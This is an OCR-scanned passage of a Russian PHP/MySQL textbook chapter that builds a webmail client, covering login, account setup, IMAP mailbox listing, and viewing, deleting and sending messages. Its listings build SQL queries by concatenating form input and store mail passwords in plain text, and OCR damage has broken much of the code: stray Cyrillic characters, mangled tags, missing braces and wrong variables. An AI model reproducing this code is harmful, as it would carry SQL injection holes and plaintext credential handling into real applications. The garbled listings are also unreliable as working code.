".format_action($action); } echo ".</р>"; display_login_form($action); } else { 614 Часть V. Реальные проекты на РНР и MySQL
switch ($action) { // Если выбрана опция создания новой учетной записи, // либо учетная запись только что добавлена или удалена, // отобразить страницу создания учетных записей case ’store-settings’: case ’account-setup’: case ’delete-account’: display_account_setup($_SESSION[’auth_user’]); break; case ’send-message’: if(send_message($to, $cc, $subject, $message)) { echo "<p style=\"padding-bottom: 100рх\">Сообщение отправлено.</p>"; } else { echo "<p style=\"padding-bottom: 100px\"> Невозможно отправить сообщение.</p>"; } break; case ’delete': delete_message($_SESSION[’auth_user’], $_SESSION['selected_account'], $messageid); // Обратите внимание, что оператор ’break' опущен умышленно — //мы должны перейти на следующий оператор case case ’select-account’: case 'view-mailbox’: // Если почтовый ящик только что выбран, отобразить его содержимое display_list($_SESSION['auth_user'], $_SESSION['selected_account']); break; case 'show-headers': case 'hide-headers': case 'view-message': // Если только что выбрано сообщение из списка, либо / / же оно просматривается и выбрана опция сокрытия // или показа заголовков, загрузить сообщение $fullheaders = ($action == 'show-headers'); display_message($_SESSION['auth_user'], $_SESSION['selected_account'] , $messageid, $fullheaders); break; case 'reply-all': { // Установить значение переменной cc равным строке сс текущего сообщения if(!$imap) { $imap = open_mailbox($_SESSION['auth_user'], $_SESSION['selected_account' ] ) ; } i f($ imap) { $header = imap_header($imap, $messageid); if($header->reply_toaddress) { $to = $header->reply_toaddress; } else { $to = $header->fromaddress; } $cc = $header->ccaddress; $subject = "Re: ".$header->subject; $body = add_guoting(stripslashes(imap_body($imap, $messageid))); imap_close($imap); Глава 29. Разработка службы веб-почты 615
display_new_message_form($_SESSION[’auth_user’], $to, $cc, $subject,•$body); } break; case ’reply’: // Установить значение переменной to равным полю reply-to // или from текущего сообщения if(!$imap) { $imap = open_mailbox($_SESSION[’auth_user*], $_SESSION[’selected_account’]); } if($imap) { $header = imap_header($imap, $messageid); if($header->reply_toaddress) { $to = $header->reply_toaddress; } else { $to = $header->fromaddress; } $subject = "Re: ".$header->subject; $body = add_quoting(stripslashes(imap_body($imap, $messageid))); imap_close($imap); display_new_message_form($_SESSION[’auth_user'], $to, $cc, $subject, $body); } break; case ’forward': // Установить значение переменной body равным телу // текущего сообщения, взятого в кавычки if(!$imap) { $imap = open_mailbox($_SESSION[’auth_user’], $_SESSION[’selected_account’]); } if($imap) { $header = imap_header($imap, $messageid); $body = add_quoting(stripslashes(imap_body($imap, $messageid))); $subject = "Fwd: ".$header->subject; imap_close($imap); display_new_message_form($_SESSION['auth_user'], $to, $cc, $subject, $body); } break; case ’new-message’: display_new_message_form($_SESSION[’auth_user'], $to, $cc, $subject, $body); break; } } //**************************************************************************** // Этап 4. Вывод нижнего колонтитула //**************^************************************************************* do_html_footer(); ?> 616 Часть V. Реальные проекты на РНР и MySQL
В сценарии index.php используется метод обработки событий. Он предполагает логическую последовательность выполнения функций для каждого события. В дан- ном случае события инициируются пользователем, который выполняет щелчки на кнопках страницы. Большинство кнопок генерируется функцией display button (), а функция display form button () применяется для вывода кнопок отправки фор- мы. Обе функции содержатся в библиотеке output fns.php. Все они обеспечивают переход по следующему URL-адресу: index.php?action=log-out Когда вызывается сценарий index.php, значение переменной action определяет, обработчик какого события должен быть запущен. Рассмотрим четыре основных раздела сценария index. php. 1. Выполняются некоторые операции, которые должны предшествовать отправ- ке заголовка страницы в браузер. Сюда относятся: запуск сеанса, выполнение предварительной обработки для выбранного пользователем действия и опре- деление внешнего вида заголовков. 2. Обрабатываются и отправляются необходимые заголовки и строка меню для выбранного пользователем действия. 3. Выбирается фрагмент сценария для выполнения в зависимости от предпринятого действия. Различные действия приводят к запуску различных функций. 4. Отправляются нижние колонтитулы страницы. Как видно в листинге, эти четыре раздела помечены соответствующими коммен- тариями. Для полного понимания сценария давайте последовательно рассмотрим все дейст- вия, реализуемые на сайте. Вход и выход из системы Когда пользователь загружает страницу index. php, генерируется вывод, показан- ный на рис. 29.2. Это стандартное поведение приложения. Когда ни одно действие не выбрано (и, стало быть, значение переменной $action не установлено) и не предоставлены дан- ные для входа в систему, необходимо выполнить приведенные ниже фрагменты кода. На этапе предварительных операций выполняется следующий код: include(’include_fns.php’); session_start(); Эти строки запускают сеанс, который будет использоваться для отслеживания пе- ременных сеанса $auth_user и $selected_account. К этим переменным мы вернем- ся чуть позже. Как и в ранее разработанных приложениях, мы создаем короткие имена перемен- ных. Мы проделывали это в каждом сценарии обработки формы, начиная с первой главы книги, поэтому нет никакого повода не предпринимать подобные действия и в отношении переменной action. В зависимости от того, где это происходит, упомя- нутая переменная может быть либо GET-, либо POST-переменной. Затем ее значение извлекается из массива $_REQUEST. Те же действия должны производиться и с пере- менной account, поскольку доступ к ней обычно осуществляется с помощью метода GET, однако когда учетная запись удаляется, то доступ к этой переменной выполняет- ся через метод POST. Глава 29. Разработка службы веб-почты 617
Рис. 29.2. Окно входа в систему для приложения “Свежая почта” запрашивает имя пользователя и пароль Чтобы упростить настройку пользовательского интерфейса, отображаемые в панели инструментов кнопки управляются массивом. Сначала объявляется пустой массив: $buttons = array(); Затем устанавливаются кнопки, которые должны отображаться на странице: $buttons[0] = ’view-mailbox’; $buttons[l] = ’new-message’; $buttons[2] = ’account-setup’; Если позже пользователь будет входить как администратор, в этот массив будут добавлены дополнительные кнопки. На втором этапе создается простой заголовок: do_html_header ($_SESSION[ ’auth_user ’ ], ’’Свежая почта", $_SESSION[’selected_account’]); display_toolbar($buttons); Этот код выводит строку заголовка и панель инструментов с кнопками, как пока- зано на рис. 29.2. Задействованные в приведенном фрагменте кода функции содер- жатся в библиотеке output fns .php. Поскольку результат действия функций хорошо виден на иллюстрации, мы их рассматривать не будем. Давайте теперь перейдем к основной части кода: if(!check_auth_user()) { echo "<р>Вы должны сначала войти в систему"; if(($action) && ($action!=’log-out’) { echo " и затем переходить на ’’. format_action ($action) ; } echo ".</p>"; display_login_form($action); / } 618 Часть V. Реальные проекты на РНР и MySQL
Функция check_auth_user() входит в состав библиотеки user_auth_fns .php. В предыдущих проектах применялся очень похожий код для проверки, вошел ли пользователь в систему. Если вход не был совершен, как в данном случае, отобража- ется форма входной регистрации, которую можно увидеть на рис. 29.2. Эта форма генерируется функцией display_login_form () из библиотеки output—fns .php. Если пользователь правильно заполнил форму и щелкнул на кнопке Log In (Вход), отображается экран, показанный на рис. 29.3. Рис. 29.3. После успешного входа в систему пользователь может приступать к работе с приложением При таком выполнении рассматриваемого сценария активизируются различ- ные разделы кода. Форма входной регистрации содержит два поля, $ username и $password. Если они оба заполнены, активизируется следующий фрагмент кода, от- носящийся к предварительной обработке: if($username || $password) { if(login($username, $passwd)) { $status .= "<p style=\"padding-bottom: 100рх\">Вы успешно вошли в систему.</р>"; $_SESSION[’auth_user’] = $username; if(number_of_accounts($_SESSION[’auth_user’]) == 1) { $accounts = get—accourit_list($_SESSION[’auth_user’]); $_SESSION[’selected—account’] = $accounts[0]; } } else { $status .= "<p style=\"padding-bottom: 100px\"> Извините, вход в систему с данным именем пользователя и паролем невозможен.</р>"; } } Как видите, здесь вызывается функция login (), подобная той, что использова- лась в главах 27 и 28. Если все прошло успешно, имя пользователя регистрируется в переменной сеанса auth user. Помимо кнопок, отображаемых до входа в систему, мы добавили кнопку, которая дает пользователю возможность снова выйти из системы: if(check—auth_user()) { $buttons[4] = ’log-out’; } Глава 29. Разработка службы веб-почты 619
На рис. 29.3 легко заметить эту кнопку. На втором этапе, который связан с формированием заголовков, снова отобража- ются заголовок и кнопки. В теле сценария выводится сообщение состояния, создан- ное ранее: echo $status; После этого остается только вывести нижний колонтитул и ожидать последующих действий пользователя. Настройка учетных записей Когда пользователь впервые начинает работать с системой “Свежая почта”, он должен настроить одну или несколько учетных записей электронной почты. После щелчка на кнопке Account Setup (Настройка учетной записи) переменная action получает значение account-setup и производится повторный вызов сценария index. php. Отображаемый в результате этого вывод показан на рис. 29.4. Вернемся к сценарию из листинга 29.2. На этот раз значение переменной $action определяет другое поведение. Заголовок создается с незначительными отличиями: do_html_header($_SESSION[’auth_user’], "Свежая почта - ’’.format_action($action), $_SESSION[’selected_account’ ]); Гораздо важнее отличия в теле страницы: case ’store-settings’: case ’account-setup’: case ’delete-account’: display_account_setup($_SESSION['auth_user’]); break; Это довольно-таки типичный шаблон — каждая команда вызывает некоторую функцию. В данном случае вызывается функция display account setup (), код ко- торой можно найти в листинге 29.3. Рис- 29-4. Прежде чем можно будет работать с электронной почтой, пользователь должен настроить свою учетную запись 620 Часть V. Реальные проекты на РНР и MySQL
Листинг 29.3. Функция display_account_setup() из библиотеки output_fns .php — эта функция осуществляет прием и отображение данных учетной записи function display_account_setup($auth_user) { // Выводит форму для определения новой учетной записи display_account_form($auth_user); $list = get_accounts($auth_user); $accounts = sizeof($list); // Отобразить все сохраненные учетные записи foreach($list as $key => $account) { // Для каждой учетной записи вывести форму для представления детальной // информации. Обратите внимание, что мы отправляем пароли всех // учетных записей в виде простого HTML-кода. Это не самая лучшая идея. display_account_form($auth_user, $account['accountid’], $account['server'], $account['remoteuser'], $account['remotepassword'], $account['type'], $account['port']); } } При вызове функция display account setup () выводит пустую форму для добав- ления новой учетной записи, за которой следуют редактируемые формы, содержащие данные всех учетных записей пользователя. Функция display account form () ото- бражает форму, показанную на рис. 29.4. Несложно заметить, что функция исполь- зуется двумя способами: при ее вызове без параметров отображается пустая форма, а при вызове с полным набором параметров выводится существующая запись. Эта функция входит в состав библиотеки output fns .php. Она просто выводит HTML- содержимое, поэтому здесь не рассматривается. Для извлечения существующих учетных записей служит функция get accounts () из библиотеки mail fns .php. Ее код можно найти в листинге 29.4. Листинг 29.4. Функция get_accounts () из библиотеки mail_fns .php — эта функция извлекает данные всех учетных записей для определенного пользователя function get_accounts($auth_user) { $list = array () ; if($conn->db_connect()) { $query = "select * from accounts where username = '".$auth_user."' $result = $conn->query($query); if($result) { while($settings = $result->fetch_assoc() ) { array_push($list, $settings); } } else { return false; } } return $list; Функция get accounts () подключается к базе данных, извлекает все учетные за- писи для определенного пользователя и возвращает их в виде массива. Глава 29. Разработка службы веб-почты
Создание новой учетной записи Когда пользователь заполняет форму учетной записи и выполняет щелчок на кноп- ке Save Changes (Сохранить изменения), активизируется действие store-settings. Давайте рассмотрим код обработки этого события в сценарии index. php. На этапе предварительной обработки выполняется следующий код: case ’store-settings’ : { store_account_settings($_SESSION[’auth_user’], $_POST); break; } Функция store account settings () сохраняет данные новой учетной записи в базе данных. Код этой, функции показан в листинге 29.5. Листинг 29.5. Функция store_account_settings () из библиотеки mail_fns .php — эта функция сохраняет для пользователя данные по новой учетной записи .function store_account_settings($auth_user, $settings) { if(!filled_out($settings)) { echo "<p>Bce поля должны быть заполнены. Повторите попытку.</р>"; return false; } else { if ($settings['account’]>0) { $query = "update accounts set server = ’".$settings[server], port = ".$settings[port].type = ’ ".$settings[type]."', remoteuser = ' " . $settings[remoteuser]."', remotepassword = '".$settings[remotepassword]."' where accountid = ’".$settings[account]."’ and username = ’".$auth_user."’"; } else { $query = "insert into accounts values ('".$auth_user."', ’".$settings[server]."', ’".$settings[port]."', '".$settings[type]."', ’".$settings[remoteuser]."’, ’".$settings[remotepassword]."', NULL)"; } if($conn->db_connect()) { $result = $conn->query($query); if ($query) { return true; } else { return false; } } else { echo "<р>Невозможно сохранить изменения.</p>"; return false; } } } Функция реализует две опции — ввод новой учетной записи и обновление сущест- вующей. Она выполняет запрос на сохранение данных учетной записи. После сохранения данных учетной записи осуществляется возврат к этапу вывода тела основной страницы в сценарии index.php: 622 Часть V. Реальные проекты на РНР и MySQL
case ’store-settings’: case ’account-setup’: case ’delete-account’: display_account_setup($_SESSION[’auth_user’]); break; Затем, как и ранее, выполняется вызов функции display account setup () для вывода списка данных по учетной записи пользователя. Вновь созданная учетная за- пись уже должна быть включена. Изменение существующей учетной записи Процесс изменения учетной записи во многом подобен описанному выше. Пользо- ватель может изменить данные и щелкнуть на кнопке Save Changes (Сохранить изме- нения). Снова активизируется действие store-settings, однако на сей раз произой- дет обновление данных учетной записи, а не добавление новой записи в базу данных. Удаление учетной записи Для этого необходимо щелкнуть на кнопке Delete Account (Удалить учетную за- пись), которая отображается под каждым списком учетных записей. В результате ак- тивизируется действие delete-account. В начальном разделе сценария index. php выполняется следующий код: case ’delete-account’: delete_account($_SESSION[’auth_user’], $account); break; В этом коде вызывается функция delete account (), приведенная в листинге 29.6. Удаление учетных записей необходимо выполнять до обработки заголовка, поскольку именно внутри заголовка предоставляется выбор учетной записи для использования. Список учетных записей должен быть обновлен для корректного отображения. Листинг 29.6. Функция delete_account() из библиотеки xnail_fns.php — эта функция удаляет данные одной учетной записи function delete_account($auth_user, $accountid) { // Удаляет из базы данных одну учетную запись для данного пользователя $query = "delete from accounts where accountid = '".$accountid."’ and username = ’ " . $auth_user. " ’ ’’ ; if(db_connect()) { $result = $conn->query($query); } return $result; После выполнения функции происходит возврат к разделу сценария index.php, ко- торый связан с формированием тела страницы. При этом выполняется следующий код: case ’store-settings’: case ’account-setup’: case ’delete-account’: display_account_setup($_SESSION[’auth_user’]); break; Вы наверняка заметили, что это тот же самый код, который выполнялся ранее — он просто отображает список учетных записей пользователя. Глава 29. Разработка службы веб-почты 623
Чтение почтовых сообщений После того как пользователь настроит несколько учетных записей, можно перехо- дить к главному — подключению к учетным записям почтового сервера и собственно чтению почты. Выбор учетной записи Для чтения почты должна быть выбрана одна из учетных записей. Текущий выбор сохраняется в переменной сеанса $selected_account. Если пользователь зарегистрировал в системе единственную учетную запись, она будет автоматически выбираться при входе в систему: if(number_of_accounts($_SESSION['auth—user1]) == 1) { $accounts = get_account_list($_SESSION['auth_user’]); $_SESSION['selected-account'] = $accounts[0]; } Функция number_of_accounts () из библиотеки mail fns.php служит для выяв- ления случаев, когда с пользователем связано более одной учетной записи (код этой функции можно найти в листинге 29.7). Функция get_account_list () извлекает мас- сив имен учетных записей пользователя. В данном случае запись является единствен- ной. Ее можно извлечь как значение массива, хранящееся в элементе с индексом 0. Листинг 29.7. Функция number_of_accounts () из библиотеки mail_fns .php — эта функция вычисляет, сколько учетных записей было зарегистрировано пользователем function number—of-accounts($auth_user) { // Определяет количество учетных записей, принадлежащих данному пользователю $guery = "select count(*) from accounts where username = ’".$auth_user."'"; if(db_connect ()) { $result = $conn->query($query); if($result) { $row = $result->fetch_array(); return $row[0]; } } return 0; } Функция get_account_list () подобна рассмотренной ранее функции get_accounts () за исключением того, что извлекаются только имена учетных записей. Если пользователь зарегистрировал несколько учетных записей, потребуется вы- брать одну из них для использования. В этом случае заголовки будут содержать спи- сок <select>, в котором перечислены доступные учетные записи. При выборе одной из них автоматически отображается соответствующий почтовый ящик, как показано на рис. 29.5. 624 Часть V. Реальные проекты на РНР и MySQL
Рис. 29.5. После выбора в списке <select> учетной записи загружается и отображается содержимое почтового ящика, который соответствует этой учетной записи Эта опция <select> генерируется в рамках функции do html head^r (), входящей в состав библиотеки output fns .php, как показано в следующем фрагменте кода: // Включать поле со списком выбора учетных записей, только если //с данным пользователем связано более одной учетной записи if(number_of_accounts($auth_user) >1) { echo "<form action=\"index.php?action=open-mailbox\" method=\"post\"> <td bgcolor=\"#ff6600\" align=\’’right\" valign=\,,middle\">"; display_account_select($auth_user, $selected_account); echo "</td> </form>"; } Обычно мы избегаем обсуждения HTML-кода, используемого в примерах данной книги. Однако для HTML-кода, генерируемого функцией display account select (), было решено сделать исключение. В зависимости от учетных записей текущего пользователя, функция display_ account select () генерирует HTML-код наподобие следующего: <select onchange="window.location=this.options[selectedlndex].valuename=account"> <option value="index.php?action=select-account&account=4" selected> thickbook.com </option> <option value="index.php?action=select-account&account=3"> localhost </option> </select> Большая часть приведенного выше кода создает HTML-элемент <select>, однако в коде также содержится небольшой сценарий на языке JavaScript. Подобно тому, как РНР применяется для генерации HTML-содержимого, JavaScript можно использовать для создания сценариев, выполняемых на стороне клиента. Глава 29. Разработка службы веб-почты 625
Как только списку поступает событие изменения, JavaScript-сценарий устанавлива- ет значение свойства window, location равным значению опции. Если пользователь выбирает первую опцию списка <select>, свойство window, location примет значе- ние ' index.php?action=select-account&account=101. В результате будет загружен ресурс, находящийся по данному URL-адресу. Очевидно, что если браузер пользовате- ля не поддерживает JavaScript либо выполнение JavaScript-сценариев отключено, этот код не приведет к желаемым результатам. Функция display_account_select () из библиотеки output_fns .php служит для извлечения и отображения списка доступных учетных записей. Кроме того, она вы- зывает рассмотренную ранее функцию get_account_list (). В результате выбора одной из опций списка <select> активизируется событие select account. Как видно на рис. 29.5, значение свойства window, location присое- динено к концу URL-адреса вместе с идентификатором выбранной учетной записи. Добавление этих GET-переменных имеет двойной эффект. Во-первых, на этапе предварительной обработки сценария index.php выбранная учетная запись сохраня- ется в переменной сеанса $selected_account, как показано ниже: case 'select-account': // Если выбрана допустимая учетная запись, // сохранить ее в переменной сеанса if(($account) && (account_exists($_SESSION['auth_user'], $account))) { $_SESSION['selected_account'] = $account; } break; Во-вторых, когда выполняется этап построения тела страницы, задействуется сле- дующий код: case 'select-account': case 'view-mailbox': // Если почтовый ящик только что выбран, отобразить его содержимое display_list($_SESSION['auth_user'], $_SESSION['selected_account']); break; Как видите, предпринимаются те же действия, как если бы пользователь выбрал опцию View Mailbox (Просмотреть ящик), которая рассматривается в следующем раз- деле. Просмотр содержимого почтового ящика Содержимое почтового ящика можно просмотреть с помощью функции display list (). Она отображает список всех сообщений, которые находятся в поч- товом ящике. Код этой функцйи показан в листинге 29.8. Листинг 29.8. Функция display_list() из библиотеки output_fns.php — эта функция отображает все сообщения, находящиеся в почтовом ящике function display_list($auth_user, $accountid) { // Отображает список сообщений, находящихся в данном почтовом ящике global $table_width;. if(!$accountid) { echo "<p style=\"padding-bottom: 100рх\">Почтовый ящик не выбран.</p>"; } else { $imap = openmailbox($auth_user, $accountid); 626 Часть V. Реальные проекты на РНР и MySQL
if($imap) { echo "ctable width=\"".$table_width."\" cellspacing=\"O\" cellpadding=\"6\" border=\"0\">"; $headers = imap_headers($imap); //Мы можем переформатировать эти данные либо получить другую информацию //с помощью imap_fetchheaders, однако и такой отчет неплох, поэтому // просто воспользуемся оператором echo Smessages = sizeof($headers); for($i = 0; $i<$messages; $i++) { echo "ctrxtd bgcolor=\""; if($i%2) { echo 1#ffffff’; } else { echo ’#ffffcc’; } echo "\"><a href=\"index.php?action=view-message&messageid=" . ($i+l). echo $headers[$i]; echo "</ax/td></tr>\n"; } echo "</table>"; } else { $account = get_account_settings($auth_user, $accountid); echo "<p style=\"padding-bottom: 100рх\">Невозможно открыть почтовый ящик ".$account[’server’].".</p>"; } } В функции display list () мы начали пользоваться IMAP-функциями РНР. Два ключевых момента состоят в открытии почтового ящика и чтении заголовков сооб- щений. Почтовый ящик для пользовательской учетной записи открывается с помощью функции open mailbox () из библиотеки mail fns .php. Ее код можно найти в лис- тинге 29.9. Листинг 29.9. Функция open_mailbox () из библиотеки mail_fns .php — эта функция подключается к почтовому ящику пользователя function open_mailbox($auth_user, $accountid) { // Выбрать почтовый ящик, если он единственный if(number_of_accounts($auth_user)==1) { $accounts = get_account_list($auth_user); $_SESSION['selected_account’] = $accounts[0]; $accountid = $accounts[0]; } // Подключиться к POP3- или IMAP-серверу, выбранному пользователем $settings = get_account_settings($auth_user, $account'id); if(!sizeof($settings)) { return 0; } $mailbox = ’ {’.$settings[server]; if($settings[type]==’POP3') { $mailbox . = ’/рорЗ’; } Глава .29. Разработка службы веб-почты 627
$mailbox .= $settings[port].'}INBOX'; // Подавить вывод предупреждающих сообщений, //не забыть проверить возвращаемое значение @$imap = imap_open($mailbox, $settings['remoteuser'], $settings['remotepassword' ]); return $imap; } Почтовый ящик открывается с помощью функции imap_open(). Прототип этой функции выглядит следующим образом: int imap_open(string mailbox, string username, string password [, int options]) Ниже перечислены параметры, которые должны быть переданы функции. mailbox — эта строка должна содержать имя сервера и имя почтового ящика, а также, необязательно, номер порта и название протокола. Данная строка имеет следующий формат: {имя_хоста/протокол:порт} ящик Если протокол не указан, по умолчанию принимается IMAP. Из рассмотренного выше фрагмента кода видно, что когда пользователь выбирает для определен- ной учетной записи протокол POP3, именно этот протокол и задается. Например, чтобы прочитать почту с локального компьютера с использованием стандартных портов, для IMAP применяется следующее имя почтового ящика: {localhost:143}INBOX а для POP3 — такое имя: {localhost/рорЗ:НО}INBOX username — имя пользователя для доступа к учетной записи. password. — пароль для доступа к учетной записи. Кроме того, допускается передача необязательных флагов для указания опций, таких как "open mailbox in read-only mode" (открыть почтовый ящик в режиме только для чтения). Обратите внимание, что строка mailbox до передачи в функцию imap_open() составляется фрагмент за фрагментом с помощью операции конкатенации. Компоновать строку следует очень внимательно, поскольку подстроки, содержащие символы {$, могут приводить к ряду проблем в РНР. В результате вызова функции возвращается IMAP-поток, если почтовый ящик мо- жет быть открыт, и значение false в противном случае. После завершения работы с потоком IMAP его можно закрыть с помощью функ- ции imap_close (imap-поток). В рассматриваемой функции IMAP-поток передается обратно в главную програм- му. Затем вызывается функция imap_headers (), которая извлекает заголовки почто- вых сообщений с целью их отображения: $headers = imap_headers($imap); Эта функция возвращает информацию о заголовках для всех сообщений почтово- го ящика, к которому было выполнено подключение. Информация возвращается в форме массива, где каждая строка соответствует сообщению. Сам вывод не формати- руется. Сообщения отображаются построчно, как показано на рис. 29.5. 628 Часть V. Реальные проекты на РНР и MySQL
Можно вывести более полную информацию о заголовках с помощью функции, имя которой легко спутать с именем предыдущей функции — imap header (). Тем не менее, в нашем конкретном случае функция imap headers () выводит вполне доста- точные сведения. Чтение почтовых сообщений Каждая строка, выводимая функцией display list (), представляет собой ссылку на определенное сообщение электронной почты. Вот как выглядит стандартная ссылка на сообщение: index.php ? асt i on=vi еw-me s s age &me s s age id= 6 Здесь message id представляет собой числовую последовательность, которая ис- пользовалась в извлеченных ранее заголовках. Обратите внимание, что нумерация IMAP-сообщений начинается с единицы, а не с нуля. После щелчка на одной из этих ссылок генерируется вывод, который должен быть похож на показанный на рис. 29.6. s м... ОИИ) Не Edit Hijtory Bookmarks Tools Help Тема: just example Or' <cop@li5tru!> Кому. never@list.ru CC: Done Рис. 29.6. С помощью действия view-message выводится определенное сообщение Когда данные параметры передаются в сценарий index.php, выполняется следую- щий фрагмент кода: case 'show-headers': case 'hide-headers’: case ’view-message’: // Если только что выбрано сообщение из списка, либо же оно просматривается //и выбрана опция сокрытия или показа заголовков, загрузить сообщение $fullheaders = ($action == ’show-headers’); display_message($_SESSION['auth_user'], $_SESSION[’selected_account’], $messageid, $fullheaders); break; Глава 29. Разработка службы веб-почты 629
Здесь значение переменной action проверяется на предмет равенства строке ’show-headers1. В данном случае проверка дает результат false, и значение пере- менной $ fullheaders также устанавливается равным false. Действие show-headers рассматривается несколько позже. Следующую строку: $fullheaders = ($action == 'show-headers'); можно заменить не столь лаконичным, но, возможно, более понятным вариантом: if($action=='show-headers') { $fullheaders = true; } else { $fullheaders = false; } Затем следует вызов функции display message (). Эта функция, в основном, реа- лизует простой вывод HTML-содержимого, поэтому ее код здесь не рассматривается. Она обращается к функции retrieve message () для извлечения требуемого сообще- ния из почтового ящика: $message = retrieve_message($auth_user, $accountid, $messageid, $fullheaders); Функция retrieve message () входит в состав библиотеки mail fns .php. Ее код можно найти в листинге 29.10. Листинг 29.10. Функция retrieve_message () из библиотеки mail_fns .php — эта функция извлекает определенное сообщение из почтового ящика function retrieve_message($auth_user, $accountid, $messageid, $fullheaders) { $message = array(); if(!($auth_user && $messageid && $accountid)) { return false; } $imap = open_mailbox($auth_user, Saccountid); if(!$imap) { return false; } $header = imap_header ($irnap, $messageid) ; if(!$header) { return false; } $message['body'] = imap_body($imap, $messageid); if(’$message['body']) { $message['body'] = "[Отсутствует тело сообщения]\n\n\n\n\n\n"; } if($fullheaders) { $message['fullheaders'] = imap_fetchheader($imap, $messageid); } else { $message['fullheaders'] = ’’; } $message['subject'] = $header->subject; $message['fromaddress'] = $header->fromaddress; $message['toaddress'] = $header->toaddress; $message['ccaddress'] = $header->ccaddress; $message['date'] = $header->date; 630 Часть V. Реальные проекты на РНР и MySQL
// Следует отметить, что можно получить более подробную информацию, // если вместо полей fromaddresfe и toaddress воспользоваться полями // from и to, однако мы выбрали именно такой вариант ввиду его простоты imap_close($imap); return $message; И снова для открытия почтового ящика используется функция open mailbox (). Однако на этот раз требуется получить определенное сообщение. С помощью этой библиотеки функций мы можем загрузить заголовки и тело сообщения по отдельности. Здесь мы прибегли к услугам трех IMAP-функций — imap headeг () , imap fetchheader () и imap_body(). Обратите внимание на отличия двух первых функций от использованной ранее imap headers (). Их названия довольно-таки лег- ко спутать. Ниже приводится краткая информация по функциям. imap headers () — возвращает список заголовков всех сообщений в почтовом ящике в виде массива, причем каждому сообщению соответствует один элемент. imap header () — возвращает заголовки определенного сообщения в виде объекта. imap fetchheader () — возвращает заголовки определенного сообщения в виде строки. В нашем конкретном случае функция imap header () применяется для заполнения полей определенного заголовка, a imap fetchheader () — для вывода всех заголов- ков, если это затребовано. (Немного позже мы еще вернемся к этой теме.) Функции imap header () и imap body () служат для создания массива, содержаще- го все элементы интересующего сообщения. Функция imap header () вызывается следующим образом: $header = imap_header($imap, $messageid); После этого можно извлечь из объекта все необходимые поля: $message[’subject'] = $header->subject; Для добавления тела сообщения в массив применяется функция imap body (): $message[’body'] = imap_body($imap, $messageid); И, наконец, с помощью функции imap close () закрывается почтовый ящик и возвращается сформированный массив. Затем с использованием функции display message () можно вывести поля сообщения в виде, показанном на рис. 29.6. Просмотр заголовков сообщений На рис. 26.7 можно заметить кнопку Show Headers (Показать заголовки). Она ак- тивизирует действие show-headers, которое приводит к выводу всех заголовков в процессе отображения сообщения. Генерируемый в результате щелчка на этой кноп- ке вывод можно увидеть на рис. 29.7. Возможно, вы заметили, что обработка события view-message охватывает также действие show-headers (и его дополнение — hide-headers). Когда эта оп- ция выбирается, выполняются те же операции, что и ранее. Однако в функции retrieve message () осуществляется дополнительный вывод полного текста за- головков: Глава’29. Разработка службы веб-почты 631
if($fullheaders) { $message['fullheaders'] = imap_fetchheader($imap, $messageid); } Затем эти заголовки можно вывести пользователю. МшЬх Wrf Setup Headers just example <cop@flstru> never@list.ru Testa: On Кому: Fromcop@hstru Tue Apr 1419:4426 2009 Return-path <cop@ftstru> Recefted:fromm»lbyf225.mailru with local и iL&ob-oooswe-oo Получено: Tue, 14 Apr 200919:44:26 *0400 «.IM V..1: - S' ж а b He Edt View Htjtory gookmarks Tools Help I ’ c . Received: from [195.34166341 by wm.mailnj with HTTP* Tue UAPT2W919:4426*0400 From: <cop@fistru> To never @listru Subject just example Mime-Version: 1Q Рис. 29.7. Действие show-headers, имеющее целью отобразить все заголовки определенного сообщения, помогает пользователю отслеживать происхождение спама Удаление почтовых сообщений После щелчка на кнопке Delete (Удалить) во время отображения определенного сообщения активизируется действие delete. В результате выполняется следующий фрагмент кода сценария index.php: case ’delete’: delete_message($_SESSION['auth_user’], $_SESSION[’selected_account’], $messageid); // Обратите внимание, что оператор ’break' опущен умышленно - // мы должны перейти на следующий оператор case case 'select-account': case 'view-mailbox': // Если почтовый ящик только что выбран, отобразить его содержимое display_list($_SESSION['auth_user'], $_SESSION['selected_account']); break; Сначала с помощью функции delete message () сообщение удаляется, а затем ото- бражается обновленное содержимое почтового ящика, как описывалось ранее. Код функции delete message () можно найти в листинге 29.11. 632 Часть V. Реальные проекты на РНР и MySQL
Листинг 29.11. Функция delete_message () из библиотеки mail_fns .php — эта функция удаляет из почтового ящика определенное сообщение function delete_message($auth_user, $accountid, $message_id) { // Удаляет на сервере одно сообщение $imap = open_mailbox($auth_user, $accountid); if($imap) { imap_delete($imap, $message_id); imap_expunge($imap); imap_close($imap); return true; } return false; } Здесь мы вызываем множество IMAP-функций. К числу новых из них можно отнести imap delete () и imap_expunge(). Обратите внимание, что функция imap_delete() только помечает сообщения как удаленные. Можно помечать любое количество сообщений. В результате вызова функции imap expunge () сообщения действительно удаляются. Отправка почты Наконец-то мы можем вплотную заняться отправкой сообщений электронной поч- ты. Для этого наш сценарий предоставляет несколько способов: пользователь может отправить новое сообщение, ответить на сообщение, а также переадресовать его. Рассмотрим последовательно реализацию всех перечисленных возможностей. Отправка нового сообщения Пользователь может выбрать отправку нового сообщения, щелкнув на кнопке New Message (Новое сообщение). В результате будет активизировано действие new-message, которое приводит к выполнению следующего фрагмента кода из сце- нария index.php: case ’new-message’: display_new_message_form($_SESSION[’auth_user'], $to, $cc, $subject, $body); break; * Форма для создания нового сообщения представляет собой типовую форму от- правки сообщения. Ее вид показан на рис. 29.8. В действительности на рисунке пока- зан режим ответа на сообщение, тем не менее, форма используется та же. В результате щелчка на кнопке Send Message (Отправить сообщение) иницииру- ется действие send-message, которое влечет за собой выполнение следующего кода: case ’send-message’: if(send_message ($to, $cc, $subject, $message)) { echo "<p style=\’’padding-bottom: 100рх\’’>Сообщение отправлено.</p>"; } else { echo "<p style=\"padding-bottom: 100рх\’’>Невозможно отправить сообщение.</p>"; } break; Глава 29. Разработка службы веб-почты 633
